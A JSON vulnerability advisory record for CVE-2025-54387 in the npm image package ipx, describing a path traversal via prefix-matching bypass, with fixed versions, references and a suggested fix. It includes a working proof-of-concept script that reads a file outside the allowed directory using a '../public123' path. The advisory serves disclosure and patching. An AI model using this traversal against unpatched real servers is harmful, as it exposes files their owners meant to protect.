{"id":"CVE-2025-54387","aliases":["GHSA-mm3p-j368-7jcr"],"url":"https://o3.security/vulnerability/CVE-2025-54387","summary":"IPX is Vulnerable to Path Traversal via Prefix Matching Bypass","details":"### Summary\n\nThe approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.\n\n\n### PoC\n\n- setup\n```\nmkdir ~/public123\nmove a png file under ~/public123 with name test.png\ncd\nnpm i ipx \n```\n\n- `main.js`\n```js\nimport { createIPX, ipxFSStorage } from \"ipx\";\n\nconst ipx = createIPX({\n  storage: ipxFSStorage({ dir: \"./public\" }),\n});\n\n\n(async () => { \n    {\n        const source = await ipx(\"../public123/test.png\"); // access file outside ./public dir because of same prefix folder\n        const { data, format } = await source.process();\n        console.log(format) // print image data\n    }\n    {\n        try {\n            const source = await ipx(\"../publi123/test.png\"); // forbidden path: the prefix is not the same\n            const { data, format } = await source.process();\n            console.log(data)\n        } catch (err) {\n            console.log(err.message) // Forbidden path:\n        }\n\n    }\n\n})()\n```\n\n- `node main.js`\n```\npng\nForbidden path: /../publi123/test.png\n```\n\n### Impact\nPath Traversal\n\n### Possible Fix\n\nCheck if the `dir` ends with `/` (path separator) and if not, add before calling `startsWith`","published":"2025-08-05T00:10:26.442Z","modified":"2026-08-12T03:51:29.749681240Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"ipx","fixedVersion":"1.3.2"},{"ecosystem":"npm","name":"ipx","fixedVersion":"2.1.1"},{"ecosystem":"npm","name":"ipx","fixedVersion":"3.1.1"}],"fix":{"url":"https://github.com/unjs/ipx/commit/81693ddbfc062cc922e4e2406e8427ab4e3ad214","label":"unjs/ipx@81693dd"},"references":[{"type":"WEB","url":"https://github.com/unjs/ipx/releases/tag/v1.3.2"},{"type":"WEB","url":"https://github.com/unjs/ipx/releases/tag/v2.1.1"},{"type":"WEB","url":"https://github.com/unjs/ipx/releases/tag/v3.1.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/54xxx/CVE-2025-54387.json"},{"type":"ADVISORY","url":"https://github.com/unjs/ipx/security/advisories/GHSA-mm3p-j368-7jcr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54387"},{"type":"FIX","url":"https://github.com/unjs/ipx/commit/81693ddbfc062cc922e4e2406e8427ab4e3ad214"},{"type":"PACKAGE","url":"https://github.com/unjs/ipx"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:29.749681240Z"}}